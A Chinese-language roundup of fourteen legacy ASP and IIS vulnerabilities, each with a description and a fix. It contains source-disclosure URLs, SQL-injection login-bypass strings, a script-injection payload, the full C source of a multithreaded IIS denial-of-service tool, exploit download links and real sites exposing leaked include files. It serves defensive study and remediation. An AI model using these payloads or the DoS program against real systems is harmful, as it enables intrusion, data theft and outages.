1 在ASP程序后加個(gè)特殊符號(hào),能看到ASP源程序 受影響的版本: win95+pws IIS3.0 98+pws4 不存在這個(gè)漏洞。 IIS4.0以上的版本也不存在這個(gè)漏洞。 問(wèn)題描述: 這些特殊符號(hào)包括小數(shù)點(diǎn),%81, ::$DATA。比如: http://someurl/somepage.asp. http:// someurl/somepage.asp%81 http:// someurl/somepage.asp::$DATA http:// someurl/somepage.asp %2e http:// someurl/somepage %2e%41sp http:// someurl/somepage%2e%asp http:// someurl/somepage.asp %2e http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini (可以看到boot.ini的文件內(nèi)容) 那么在安裝有IIS3.0和win95+PWS的瀏覽中就很容易看到somepage.asp的源程序。究竟是什么原因造成了這種可怕的漏洞呢? 究其根源其實(shí)是 Windows NT 特有的文件系統(tǒng)在做怪。有一點(diǎn)常識(shí)的人都知道在 NT 提供了一種完全不同于 FAT 的文件系統(tǒng): NTFS,這種被稱之為新技術(shù)文件系統(tǒng)的技術(shù)使得 NT 具有了較高的安全機(jī)制,但也正是因?yàn)樗a(chǎn)生了不少令人頭痛的隱患。大家 可能不知道, NTFS 支持包含在一個(gè)文件中 的多數(shù)據(jù)流,而這個(gè)包含了所有內(nèi)容的主數(shù)據(jù)流被稱之為"DATA",因此使得在瀏覽器 里直接訪問(wèn) NTFS 系統(tǒng)的這個(gè)特性而輕易的捕獲在文件中的腳本程序成為了可能。然而 直接導(dǎo)致 ::$DATA 的原因是由于 IIS 在 解析文件名的時(shí)候出了問(wèn)題,它沒(méi)有很好地規(guī)范文件名。 解決方法和建議: 如果是Winodws NT用戶,安裝IIS4.0或者IIS5.0,Windows2000不存在這個(gè)問(wèn)題。如果是win95用戶,安裝WIN98和PWS4.0。 2 ACCESS mdb 數(shù)據(jù)庫(kù)有可能被下載的漏洞 問(wèn)題描述: 在用ACCESS做后臺(tái)數(shù)據(jù)庫(kù)時(shí),如果有人通過(guò)各種方法知道或者猜到了服務(wù)器的ACCESS數(shù)據(jù)庫(kù)的路徑和數(shù)據(jù)庫(kù)名稱,那么他能夠 下載這個(gè)ACCESS數(shù)據(jù)庫(kù)文件,這是非常危險(xiǎn)的。比如:如果你的ACCESS數(shù)據(jù)庫(kù)book.mdb放在虛擬目錄下的database目錄下,那么有人在瀏覽器中打入: http:// someurl/database/book.mdb 如果你的book.mdb數(shù)據(jù)庫(kù)沒(méi)有事先加密的話,那book.mdb中所有重要的數(shù)據(jù)都掌握在別人的手中。 解決方法: (1) 為你的數(shù)據(jù)庫(kù)文件名稱起個(gè)復(fù)雜的非常規(guī)的名字,并把他放在幾目 錄下。所謂"非常規(guī)",打個(gè)比方:比如有個(gè)數(shù)據(jù)庫(kù)要保存的是有關(guān)書(shū)籍的信息,可不要把他起個(gè)"book.mdb"的名字,起個(gè)怪怪的名稱,比如d34ksfslf.mdb,再把他放在如 ./kdslf/i44/studi/ 的幾層目錄下,這樣黑客要想通過(guò)猜的方式得到你的ACCESS數(shù)據(jù)庫(kù)文件就難上加難了。 (2)不要把數(shù)據(jù)庫(kù)名寫(xiě)在程序中。有些人喜歡把DSN寫(xiě)在程序中,比如: DBPath = Server.MapPath("cmddb.mdb") conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath 假如萬(wàn)一給人拿到了源程序,你的ACCESS數(shù)據(jù)庫(kù)的名字就一覽無(wú)余。因此建議你在ODBC里設(shè)置數(shù)據(jù)源,再在程序中這樣寫(xiě):conn.open "shujiyuan" (3)使用ACCESS來(lái)為數(shù)據(jù)庫(kù)文件編碼及加密。首先在選取"工具->安 全->加密/解密數(shù)據(jù)庫(kù),選取數(shù)據(jù)庫(kù)(如:employer.mdb),然后接確定,接著會(huì)出現(xiàn)"數(shù)據(jù)庫(kù)加密后另存為"的窗口,存為:employer1.mdb。接著employer.mdb就會(huì)被 編碼,然后存為employer1.mdb.. 要注意的是,以上的動(dòng)作并不是對(duì)數(shù)據(jù)庫(kù)設(shè)置密碼,而只是對(duì)數(shù)據(jù)庫(kù)文件加以編碼,目的是為了防止他人使用別的工具來(lái)查看數(shù)據(jù)庫(kù)文件的內(nèi)容。 接下來(lái)我們?yōu)閿?shù)據(jù)庫(kù)加密,首先以打開(kāi)經(jīng)過(guò)編碼了的employer1.mdb,在打開(kāi)時(shí),選擇"獨(dú)占"方式。然后選取功能表的"工具->安全->設(shè)置數(shù)據(jù)庫(kù)密碼",接著輸入密碼 即可。 為employer1.mdb設(shè)置密碼之后,接下來(lái)如果再使用ACCEES數(shù)據(jù)庫(kù)文件時(shí),則ACCESS會(huì)先要求輸入密碼,驗(yàn)證正確后才能夠啟動(dòng)數(shù)據(jù)庫(kù)。 不過(guò)要在ASP程序中的connection對(duì)象的open方法中增加PWD的參數(shù)即可,例如: param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs" param=param&";dbq="&server.mappath("employer1.mdb") conn.open param 這樣即使他人得到了employer1.mdb文件,沒(méi)有密碼他是無(wú)法看到employer1.mdb的.
3 code.asp文件會(huì)泄漏ASP代碼 問(wèn)題描述: 舉個(gè)很簡(jiǎn)單的例子,在微軟提供的 ASP1.0 的例程里有一個(gè) .asp 文件,專門用來(lái)查看其它 .asp 文件的源代碼,該文件為ASPSamp/Samples/code.asp。如果有人 把這個(gè)程序上傳到服務(wù)器,而服務(wù)器端沒(méi)有任何防范措施的話,他就可以很容易地查看他人的程序。例如 : code.asp?source=/directory/file.asp 不過(guò)這是個(gè)比較舊的漏洞了,相信現(xiàn)在很少會(huì)出現(xiàn)這種漏洞。 下面這命令是比較新的:http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp 最大的危害莫過(guò)于asa文件可以被上述方式讀出;數(shù)據(jù)庫(kù)密碼以明文形式暴露在黑客眼前; 問(wèn)題解決或建議: 對(duì)于IIS自帶的show asp code的asp程序文件,刪除該文件或者禁止訪問(wèn)該目錄即可
4、filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞 問(wèn)題描述: IIS3、 IIS4 的 ASP 的文件操作都可以通過(guò) filesystemobject 實(shí)現(xiàn),包括文本文件的讀寫(xiě)目錄操作、文件的拷貝改名刪除等,但是這個(gè)強(qiáng)大的功能也留下了非常 危險(xiǎn)的 "后門"。利用 filesystemobjet 可以篡改下載 fat 分區(qū)上的任何文件。即使是 ntfs 分區(qū),如果權(quán)限沒(méi)有設(shè)定好的話,同樣也能破壞,一不小心你就可能遭受" 滅頂之災(zāi) "。遺憾的是很多 webmaster 只知道讓 web 服務(wù)器運(yùn)行起來(lái),很少對(duì) ntfs 進(jìn)行權(quán)限 設(shè)置,而 NT 目錄權(quán)限的默認(rèn)設(shè)置偏偏安全性又低得可怕。因此,如果 你是Webmaster,建議你密切關(guān)注服務(wù)器的設(shè)置,盡量將 web 目錄建在 ntfs 分區(qū)上,目錄不要設(shè)定 everyone full control,即使是是管理員組的成員一般也沒(méi)什么 必要 full control,只要有讀取、更改權(quán)限就足夠了。 也可以把filesystemobject的組件刪除或者改名。
5、輸入標(biāo)準(zhǔn)的HTML語(yǔ)句或者javascript語(yǔ)句會(huì)改變輸出結(jié)果 問(wèn)題描述: 在輸入框中打入標(biāo)準(zhǔn)的HTML語(yǔ)句會(huì)得到什么相的結(jié)果呢? 比如一個(gè)留言本,我們留言內(nèi)容中打入:<font size=10>你好!</font> 如果你的ASP程序中沒(méi)有屏蔽html語(yǔ)句,那么就會(huì)改變"你好"字體的大小。在留言本中改變字體大小和貼圖有時(shí)并不是什么壞事,反而可以使留言本生動(dòng)。但是如果在輸 入框中寫(xiě)個(gè) javascript 的死循環(huán),比如:<a herf="http://someurl"onMouseover="while(1){window.close('/')}">特大新聞</a> 那么其他查看該留言的客人只要移動(dòng)鼠標(biāo)到"特大新聞",上就會(huì)使用戶的瀏覽器因死循環(huán)而死掉。 解決方法和建議: 編寫(xiě)類似程序時(shí)應(yīng)該做好對(duì)此類操作的防范,譬如可以寫(xiě)一段程序判斷客戶端的輸入,并屏蔽掉所有的 HTML、 Javascript語(yǔ)句。
6、ASP程序密碼驗(yàn)證漏洞 漏洞描述: 很多網(wǎng)站把密碼放到數(shù)據(jù)庫(kù)中,在登陸驗(yàn)證中用以下sql,(以asp為例) sql="select * from user where username='"&username&"'and pass='"& pass &'" 此時(shí),您只要根據(jù)sql構(gòu)造一個(gè)特殊的用戶名和密碼,如:ben' or '1'='1就可以進(jìn)入本來(lái)你沒(méi)有特權(quán)的頁(yè)面。再來(lái)看看上面那個(gè)語(yǔ)句吧: sql="select * from user where username='"&username&"'and pass='"& pass&'" 此時(shí),您只要根據(jù)sql構(gòu)造一個(gè)特殊的用戶名和密碼,如:ben' or '1'='1 這樣,程序?qū)?huì)變成這樣: sql="select*from username where username="&ben'or'1'=1&"and pass="&pass&" or 是一個(gè)邏輯運(yùn)算符,作用是在判斷兩個(gè)條件的時(shí)候,只要其中一個(gè)條件成立,那么等式將會(huì)成立.而在語(yǔ)言中,是以1來(lái)代表真的(成立).那么在這行語(yǔ)句中,原語(yǔ)句的"and" 驗(yàn)證將不再繼續(xù),而因?yàn)?1=1"和"or"令語(yǔ)句返回為真值。 另外我們也可以構(gòu)造以下的用戶名: username='aa' or username<>'aa' pass='aa' or pass<>'aa' 相應(yīng)的在瀏覽器端的用戶名框內(nèi)寫(xiě)入:aa' or username<>'aa 口令框內(nèi)寫(xiě)入:aa' or pass<>'aa,注意這兩個(gè)字符串兩頭是沒(méi)有'的。這樣就可以成功的騙過(guò)系統(tǒng)而 進(jìn)入。 后一種方法理論雖然如此,但要實(shí)踐是非常困難的,下面兩個(gè)條件都必須具備。 1. 你首先要能夠準(zhǔn)確的知道系統(tǒng)在表中是用哪兩個(gè)字段存儲(chǔ)用戶名和口令的,只有這樣你才能準(zhǔn)確的構(gòu)造出這個(gè)進(jìn)攻性的字符 串。實(shí)際上這是很難猜中的。 2.系統(tǒng)對(duì)你輸入的字符串不進(jìn)行有效性檢查。 問(wèn)題解決和建議: 對(duì)輸入的內(nèi)容驗(yàn)證和"'"號(hào)的處理。
7、IIS4或者IIS5中安裝有INDEX SERVER服務(wù)會(huì)漏洞ASP源程序 問(wèn)題描述: 在運(yùn)行IIS4或者IIS5的Index Server,輸入特殊的字符格式可以看到ASP源程序或者其它頁(yè)面的程序。甚至以及添打了最近關(guān) 于參看源代碼的補(bǔ)丁程序的系統(tǒng),或者沒(méi)有.htw文件的系統(tǒng),一樣存在該問(wèn)題。獲得asp程序,甚至global.asa文件的源代碼,無(wú)疑對(duì)系統(tǒng)是一個(gè)非常重大的安全隱患。往 往這些代碼中包含了用戶密碼和ID,以及數(shù)據(jù)庫(kù)的源路徑和名稱等等。這對(duì)于攻擊者收集系統(tǒng)信息,進(jìn)行下一步的入侵都是非常重要的。 通過(guò)構(gòu)建下面的特殊程序可以參看該程序源代碼: http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full 這樣只是返回一些html格式的文件代碼,但是當(dāng)你添加%20到CiWebHitsFile的參數(shù)后面,如下: http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full 這將獲得該程序的源代碼。 (注意:/default.asp是以web的根開(kāi)始計(jì)算。如某站點(diǎn)的http:///welcome/welcome.asp 那么對(duì)應(yīng)就是: http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full ) 由于'null.htw'文件并非真正的系統(tǒng)映射文件,所以只是一個(gè)儲(chǔ)存在系統(tǒng)內(nèi)存中的虛擬文件。哪怕你已經(jīng)從你的系統(tǒng)中刪除了所有的真實(shí)的.htw文件,但是由于對(duì) null.htw文件的請(qǐng)求默認(rèn)是由webhits.dll來(lái)處理。所以,IIS仍然收到該漏洞的威脅。 問(wèn)題解決或者建議: 如果該webhits提供的功能是系統(tǒng)必須的,請(qǐng)下載相應(yīng)的補(bǔ)丁程序。如果沒(méi)必要,請(qǐng)用IIS的MMC管理工具簡(jiǎn)單移除.htw的映象文件。 補(bǔ)丁程序如下: Index Server 2.0: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727 Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728 Indexing Services for Windows 2000: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
8、繞過(guò)驗(yàn)證直接進(jìn)入ASP頁(yè)面。 漏洞描述: 如果用戶知道了一個(gè)ASP頁(yè)面的路徑和文件名,而這個(gè)文件又是要經(jīng)過(guò)驗(yàn)證才能進(jìn)去的,但是用戶直接輸入這個(gè)ASP頁(yè)面的文件名,就有可能通過(guò)繞過(guò)驗(yàn)證.比如:我在 一些網(wǎng)站上這樣試過(guò):首先關(guān)閉所有的瀏覽器,窗口,輸入:http://someurl/system_search.asp?page=1 就樣就看到了只能系統(tǒng)員才能看到的頁(yè)面。當(dāng)然有些人為了防止這種情況也會(huì)在system_search.asp的開(kāi)頭加個(gè)判斷,比如: 判斷session("system_name"),如果不為空時(shí)就能進(jìn)入,這樣上面的url請(qǐng)求就不能直接進(jìn)入管理員頁(yè)面了。但是這種方法也有一個(gè)漏洞,如果攻擊者先用一個(gè)合法的帳號(hào) ,或者在本機(jī)上生成一個(gè)session,如session("system_name")="admi",那因?yàn)?br>session("system_name")不為空,這樣也能直接進(jìn)入繞過(guò)密碼,直接進(jìn)入管理員頁(yè)面。 解決方法: 在需要驗(yàn)證的ASP頁(yè)面開(kāi)頭處進(jìn)行相應(yīng)的處理。比如:可跟蹤上一個(gè)頁(yè)面的文件名,只有從上一頁(yè)面轉(zhuǎn)進(jìn)來(lái)的會(huì)話才能讀取這個(gè)頁(yè)面。
9、IIS4.0/5.0特殊數(shù)據(jù)格式的URL請(qǐng)求遠(yuǎn)程DOS攻擊 漏洞描述: 當(dāng)在安裝有有IIS4.0或者IIS5.0的web服務(wù)上,請(qǐng)求一個(gè)具有特殊數(shù)據(jù)格式的URL,會(huì)拖慢受攻擊web服務(wù)器的響應(yīng)速度,或許會(huì)使其暫時(shí)停止響應(yīng)。 受影響的版本: MicrosoftInternetInformationServer4.0 MicrosoftInternetInformationServer5.0 漏洞測(cè)試程序如下: http://202.96.168.51/download/exploits/iisdos.exe 源代碼如下: http://202.96.168.51/download/exploits/iisdos.zip 測(cè)試程序: 只要打入:iisdos<***.***.**.**>就能攻擊對(duì)方web服務(wù)器 問(wèn)題解決: InternetInformationServer4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906 InternetInformationServer5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904 更多的信息: http://www.microsoft.com/technet/security/bulletin/ms00-030.asp Microsoft安全公告MS00-021: http://www.microsoft.com/technet/security/bulletin/fq00-030.asp 相關(guān)連接 http://www.ussrback.com
10、 IIS web server DOS 漏洞描述: 默認(rèn)情況下,IIS容易被拒絕服務(wù)攻擊。如果注冊(cè)表中有一個(gè)叫 "MaxClientRequestBuffer" 的鍵未被創(chuàng)建,針對(duì)這種NT系統(tǒng)的攻擊通常能奏效。 "MaxClientRequestBuffer" 這個(gè)鍵用于設(shè)置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer" 設(shè)置為256(bytes),則攻擊者通過(guò)輸入大量的字符請(qǐng)求IIS將被限制在256字節(jié)以內(nèi)。而系統(tǒng)的缺省設(shè)置對(duì)此不加限制,因此,利用下面的程序。可以很容易地對(duì)IIS server實(shí)行DOS攻擊: #include <stdio.h> #include <windows.h> #define MAX_THREAD 666 void cng(); char *server; char *buffer; int port; int counter = 0; int current_threads = 0; int main(int argc, char **argv) { WORD tequila; WSADATA data; int p; DWORD tid; HANDLE hThread[2000]; //This code is as is and sucks as it is. Won't exit correctly and a lot of other fun things. //That I didn't want to take the time to do. So just ctrl+c out of the code. //Load up cnghack.exe 3 times for charm. printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my beloved.\"\n"); if(argc<2){ printf("Usage: %s [server] [port]\n",argv[0]); exit(1); }
[page_break]buffer=malloc(17500); memset( buffer, 'A', strlen(buffer)); server=argv[1]; port=atoi(argv[2]); tequila = MAKEWORD( 1, 1 ); printf("Attempting to start winsock... "); if( (WSAStartup(tequila, &data)) !=0 ){ printf("failed to start winsock.\n"); exit(1); } else{ printf("started winsock.\n\n"); }counter = 0; for(p = 0 ; p < MAX_THREAD ; ++p ){ hThread[counter] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) cng, ( void * )++counter, 0, &tid); } Sleep(250); while( current_threads ) Sleep(250); counter = 0; printf("Terminated Threads.\n"); while (counter < MAX_THREAD) { TerminateThread( hThread[counter], 0 ); ++counter; } WSACleanup(); return 0; } void cng() { int SockFD=0, p; struct sockaddr_in DstSAin; char GETKILLED[]="GET / HTTP/\r\n"; int die=1; printf("Entered CNG\n"); ++current_threads; DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons((u_short)port); DstSAin.sin_addr.s_addr=inet_addr( server ); if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){ printf("Failed to create socket\n"); --current_threads; return; } if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { p=send(SockFD,GETKILLED,strlen(GETKILLED),0); printf("Step 1: %i\n", p); for(;;){ p=send(SockFD,buffer,strlen(buffer),0); printf("P: %i\n", p); //put in some code to check if send = -1 more then X times we drop the loop and exit the thread //bla bla bla i love the dirtiness of concept code. } } --current_threads; printf("Exited CNG\n"); return; } cnghack.c works by doing the following: Connects to example.com Sends: GET / HTTP/[return][buffer] Where: [return] is just an \r\n [buffer] is a never ending stream of A's 攻擊結(jié)果將導(dǎo)致NT系統(tǒng)的CPU占用率達(dá)到 100% 解決方案 運(yùn)行Regedt32.exe 在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters 增加一個(gè)值: Value Name: MaxClientRequestBuffer Data Type: REG_DWORD 設(shè)置為十進(jìn)制 具體數(shù)值設(shè)置為你想設(shè)定的IIS允許接受的URL最大長(zhǎng)度。 CNNS的設(shè)置為256 11、MS ODBC數(shù)據(jù)庫(kù)連接溢出導(dǎo)致NT/9x拒絕服務(wù)攻擊 漏 洞 描 述: Microsoft ODBC數(shù)據(jù)庫(kù)在連接和斷開(kāi)時(shí)可能存在潛在的溢出問(wèn)題(Microsoft ACCESS數(shù)據(jù)庫(kù)相關(guān))。 如果不取消連接而直接和第二個(gè)數(shù)據(jù)庫(kù)相連接,可能導(dǎo)致服務(wù)停止。 影響系統(tǒng): ODBC 版本: 3.510.3711.0 ODBC Access驅(qū)動(dòng)版本: 3.51.1029.00 OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386) Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507) 漏洞檢測(cè)方法如下: ODBC 連接源名稱: miscdb ODBC 數(shù)據(jù)庫(kù)型號(hào): MS Access ODBC 假設(shè)路徑: d:\data\misc.mdb ASP代碼如下: <% set connVB = server.createobject("ADODB.Connection") connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb" %> <html> <body> ...lots of html removed... <!-- We Connect to DB1 --> <% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DSN=miscdb;User=sa" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL) While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend 'rsGlobal.close 'set rsGlobal = nothing 'connGlobal.close 'set connGlobal = nothing ' Note we do NOT close the connection %> <!-- Call the same database by means of DBQ direct file access --> <% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=d:\data\misc.mdb" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL) While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend rsGlobal.close set rsGlobal = nothing connGlobal.close set connGlobal = nothing ' Note we DO close the connection %> 在這種情況下,IIS處理進(jìn)程將會(huì)停頓,CPU使用率由于inetinfo.exe進(jìn)程將達(dá)到100%。只有重新啟動(dòng)計(jì)算機(jī)才能恢復(fù)。
12、ASP主頁(yè).inc文件泄露問(wèn)題 漏洞描述: 受影響的版本:任何提供ASP服務(wù)的系統(tǒng) 遠(yuǎn)程:YES / 本地:YES 內(nèi)容摘要: 當(dāng)存在asp的主頁(yè)正在制作并沒(méi)有進(jìn)行最后調(diào)試完成以前,可以被某些搜索引擎機(jī)動(dòng)追加為搜索對(duì)象,如果這時(shí)候有人利用搜索引擎對(duì)這些網(wǎng)頁(yè)進(jìn)行查找,會(huì)得到有關(guān) 文件的定位,并能在瀏覽器中察看到數(shù)據(jù)庫(kù)地點(diǎn)和結(jié)構(gòu)的細(xì)節(jié)揭示完整的源代碼。 具體操作過(guò)程是: - 利用搜索引擎查找包含+"Microsoft VBScript 運(yùn)行時(shí)刻錯(cuò)誤執(zhí)行搜索" +".inc ," 的關(guān)鍵字 - 搜索引擎會(huì)自動(dòng)查找包含asp的包含文件(.inc)并顯示給用戶 - 利用瀏覽器觀看包含文件的源代碼,其中可能會(huì)有某些敏感信息 漏洞的利用: 例子: - http://shopping.altavista.com/inc/lib/prep.lib 暴露數(shù)據(jù)庫(kù)連接和性質(zhì), 資源地點(diǎn), 小甜餅邏輯,服務(wù)器 IP 地址 - http://www.justshop.com/SFLib/ship.inc 暴露數(shù)據(jù)庫(kù)性質(zhì) - http://www.bbclub.com:8013/includes/general.inc 暴露 cobranding - http://www.salest.com/corporate/admin/include/jobs.inc 暴露 datafile 地點(diǎn)和結(jié)構(gòu) - http://www.bjsbabes.com/SFLib/design.inc 包括數(shù)據(jù)庫(kù)結(jié)構(gòu)為 StoreFront 2000 暴露源代碼 - http://www.ffg.com/scripts/IsSearchEngine.inc 暴露搜索引擎記錄文件 - http://www.wcastl.com/include/functions.inc 暴露成員電子郵件地址 - http://www.wcastl.com/flat/comments.txt 暴露成員私人的注釋文件 - http://www.traveler.net/two/cookies.inc 暴露 cookie 邏輯 解決方案: - 搜索引擎應(yīng)該不索引有 asp 運(yùn)行時(shí)刻錯(cuò)誤的頁(yè) - 程序員應(yīng)該在網(wǎng)頁(yè)發(fā)布前對(duì)其進(jìn)行徹底的調(diào)試 - 安全專家需要固定 asp 包含文件以便外部的用戶不能看他們 asp 新聞組、站點(diǎn)提供兩個(gè)解決方案對(duì)這個(gè)漏洞進(jìn)行修正,首先對(duì) .inc 文件內(nèi)容進(jìn)行加密,其次也可以使用 .asp 文件代替 .inc 文件使用戶無(wú)法從瀏覽器直接觀 看文件的源代碼。.inc 文件的文件名不用使用系統(tǒng)默認(rèn)的或者有特殊含義容易被用戶猜測(cè)到的,盡量使用無(wú)規(guī)則的英文字母。
13、利用Activer server explorer可對(duì)文件進(jìn)行讀寫(xiě)訪問(wèn) 漏洞描述: chinaasp的Activer server explorer可以很方便的對(duì)本地文件在線查看服務(wù)器上的目錄 在線查看文件的名稱、大小、類型、修改時(shí)間,在線編輯純文本文件,如 .txt、.htm、.asp、.pl、.cgi等等,直接執(zhí)行服務(wù)器上的文件。 Activer server explorer要求填寫(xiě)相對(duì)路徑或者絕對(duì)路徑,但是假如:有一個(gè)攻擊者把Activer server explorer上傳到目標(biāo)服務(wù)器上的某個(gè)目錄,并且這個(gè)目錄 支持ASP的話,那么他就可以通過(guò)Activer server explorer修改、執(zhí)行目標(biāo)服務(wù)器上的文件。這種情況可以發(fā)生在一個(gè)攻擊者擁有目標(biāo)NT服務(wù)器上的一個(gè)可寫(xiě)目錄帳號(hào), 并且這個(gè)目錄又支持ASP。比如一些支持ASP的個(gè)人免費(fèi)主頁(yè)服務(wù)器,把Activer server explorer先傳上你申請(qǐng)的免費(fèi)主頁(yè)空間,再通過(guò)各種方法得到目標(biāo)服務(wù)器的路徑 ,(比如可通過(guò)漏洞:"請(qǐng)求不存在的擴(kuò)展名為idq或ida 文件,會(huì)暴露文件在服務(wù)器上的物理地址.").或者直接在相對(duì)路徑上填".",一般是默認(rèn)。這樣攻擊者就能任意修 改,執(zhí)行目標(biāo)服務(wù)器上的文件,不管他對(duì)這個(gè)文件有無(wú)讀寫(xiě)訪問(wèn)權(quán)。 所以那些提供有ASP服務(wù)的個(gè)人主頁(yè)或者其它服務(wù)的服務(wù)器,就要加倍小心這種攻擊了。 漏洞解決方法 其實(shí)Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞。 那么我們?nèi)绾尾拍芟拗朴脩羰褂肍ileSystemObject對(duì)象呢?一種極端的做法是完全反注冊(cè)掉提供FileSystemObject對(duì)象的那個(gè)組件,也就是Scrrun.dll。具體的方 法如下: 在MS-DOS狀態(tài)下面鍵入: Regsvr32 /u c:\windows\system\scrrun.dll (注意:在實(shí)際操作的時(shí)候要更改成為你本地的實(shí)際路徑) 但是這樣的話,就不能使用FileSystemObject對(duì)象了,有時(shí)利用FileSystemObject對(duì)象來(lái)管理文件是很方便,有什么辦法能 兩全其美呢? 我們可以做到禁止他人非法使用FileSystemObject對(duì)象,但是我們自己仍然可以使用這個(gè)對(duì)象. 方法如下: 查找注冊(cè)表中 HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值 將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為 HKEY_CLASSES_ROOT\Scripting.FileSystemObject2 這樣,在ASP就必須這樣引用這個(gè)對(duì)象了: Set fso = CreateObject("Scripting.FileSystemObject2") 而不能使用: Set fso = CreateObject("Scripting.FileSystemObject") 如果你使用通常的方法來(lái)調(diào)用FileSystemObject對(duì)象就會(huì)無(wú)法使用了。 只要你不告訴別人這個(gè)更改過(guò)的對(duì)象名稱,其他人是無(wú)法使用FileSystemObject對(duì)象的。這樣,作為站點(diǎn)管理者我們就杜絕了他人非法使用FileSystemObject對(duì)象, 而我們自己仍然可以使用這個(gè)對(duì)象來(lái)方便的實(shí)現(xiàn)網(wǎng)站在線管理等等功能了!
14、 IIS4.0/IIS5.0超長(zhǎng)文件名請(qǐng)求存在漏洞 漏洞描述: 受影響的版本: Microsoft IIS 5.0 + Microsoft Windows NT 2000 Microsoft IIS 4.0 + Microsoft Windows NT 4.0 + Microsoft BackOffice 4.5 - Microsoft Windows NT 4.0 + Microsoft BackOffice 4.0 - Microsoft Windows NT 4.0 當(dāng)在一個(gè)已知的文件名后加230個(gè)"%20"再加個(gè).htr,會(huì)使安裝有Microsoft IIS 4.0/5.0泄漏該文件的內(nèi)容。這是由ISM.dll映射的.htr文件引起的.比如: http://target/filename%20<重復(fù)230次>.htr 這種請(qǐng)求只有當(dāng).htr請(qǐng)求是第一次調(diào)用或者ISM.dll第一次裝載進(jìn)內(nèi)存,才能起作用。 解決方法: 安裝補(bǔ)丁: Microsoft IIS 5.0: http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE Microsoft IIS 4.0: http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe
|